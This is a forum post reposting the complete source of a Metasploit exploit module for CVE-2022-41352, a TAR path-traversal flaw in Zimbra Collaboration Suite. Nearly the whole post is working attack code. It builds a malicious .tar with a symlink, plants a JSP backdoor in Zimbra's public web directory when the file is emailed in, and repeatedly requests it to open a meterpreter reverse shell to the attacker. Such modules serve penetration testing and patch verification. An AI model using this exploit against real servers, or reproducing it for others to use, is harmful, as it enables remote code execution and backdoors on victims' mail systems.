Jump to content
Kev

Zimbra Collaboration Suite TAR Path Traversal Exploit

Recommended Posts

This Metasploit module creates a .tar file that can be emailed to a Zimbra server to exploit CVE-2022-41352. If successful, it plants a JSP-based backdoor in the public web directory, then executes that backdoor. The core vulnerability is a path-traversal issue in the cpio command-line utility that can extract an arbitrary file to an arbitrary location on a Linux system (CVE-2015-1197). Most Linux distros have chosen not to fix it. This issue is exploitable on Red Hat-based systems (and other hosts without pax installed) running versions Zimbra Collaboration Suite 9.0.0 Patch 26 and below and Zimbra Collaboration Suite 8.8.15 Patch 33 and below.

 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TAR Path Traversal in Zimbra (CVE-2022-41352)',
        'Description' => %q{
          This module creates a .tar file that can be emailed to a Zimbra server
          to exploit CVE-2022-41352. If successful, it plants a JSP-based
          backdoor in the public web directory, then executes that backdoor.
 
          The core vulnerability is a path-traversal issue in the cpio command-
          line utlity that can extract an arbitrary file to an arbitrary
          location on a Linux system (CVE-2015-1197). Most Linux distros have
          chosen not to fix it.
 
          This issue is exploitable on Red Hat-based systems (and other hosts
          without pax installed) running versions:
 
          * Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)
          * Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)
 
          The patch simply makes "pax" a pre-requisite.
        },
        'Author' => [
          'Alexander Cherepanov', # PoC (in 2015)
          'yeak', # Initial report
          'Ron Bowes', # Analysis, PoC, and module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-41352'],
          ['URL', 'https://forums.zimbra.org/viewtopic.php?t=71153&p=306532'],
          ['URL', 'https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2015/01/18/7'],
          ['URL', 'https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html'],
          ['URL', 'https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis'],
          ['URL', 'https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34'],
        ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Zimbra Collaboration Suite', {} ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'TARGET_PATH' => '/opt/zimbra/jetty_base/webapps/zimbra/',
          'TARGET_FILENAME' => nil,
          'DisablePayloadHandler' => false,
          'RPORT' => 443,
          'SSL' => true
        },
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-06-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
 
    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'payload.tar']),
 
        # Separating the path, filename, and extension allows us to randomize the filename
        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).']),
        OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: public/<random>.jsp).']),
      ]
    )
 
    register_advanced_options(
      [
        OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (default: random)']),
        OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),
 
        # Took this from multi/handler
        OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
        OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
      ]
    )
  end
 
  def exploit
    print_status('Encoding the payload as .jsp')
    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
 
    # Small sanity-check
    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
      print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
    end
 
    # Generate a filename if needed
    target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp"
    symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10)
 
    # Sanity check - the file shouldn't exist, but we should be able to do requests to the server
    if datastore['TRIGGER_PAYLOAD']
      print_status('Checking the HTTP connection to the target')
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_filename)
      )
 
      unless res
        fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
      end
 
      # Break when the file successfully appears
      unless res.code == 404
        fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
      end
    end
 
    # Create the file
    begin
      contents = StringIO.new
      Rex::Tar::Writer.new(contents) do |t|
        print_status("Adding symlink to path to .tar file: #{datastore['TARGET_PATH']}")
        t.add_symlink(symlink_filename, datastore['TARGET_PATH'], 0o755)
 
        print_status("Adding target file to the archive: #{target_filename}")
 
        t.add_file(File.join(symlink_filename, target_filename), 0o644) do |f|
          f.write(payload)
        end
      end
      contents.seek(0)
      tar = contents.read
      contents.close
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}")
    end
    file_create(tar)
 
    print_good('File created! Email the file above to any user on the target Zimbra server')
 
    # Bail if they don't want the payload triggered
    return unless datastore['TRIGGER_PAYLOAD']
 
    register_file_for_cleanup(File.join(datastore['TARGET_PATH'], target_filename))
 
    interval = datastore['CheckInterval'].to_i
    print_status("Trying to trigger the backdoor @ #{target_filename} every #{interval}s [backgrounding]...")
 
    # This loop is mostly from `multi/handler`
    stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if session_created?
      break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
 
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_filename)
      )
 
      unless res
        fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
      end
 
      # Break when the file successfully appears
      if res.code == 200
        print_good('Successfully triggered the payload')
        # This should break when we get to session_created?
      end
 
      Rex::ThreadSafe.sleep(interval)
    end
  end
end
 
#  0day.today [2022-10-21]  #

 

Source: 0day.today

  • Like 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...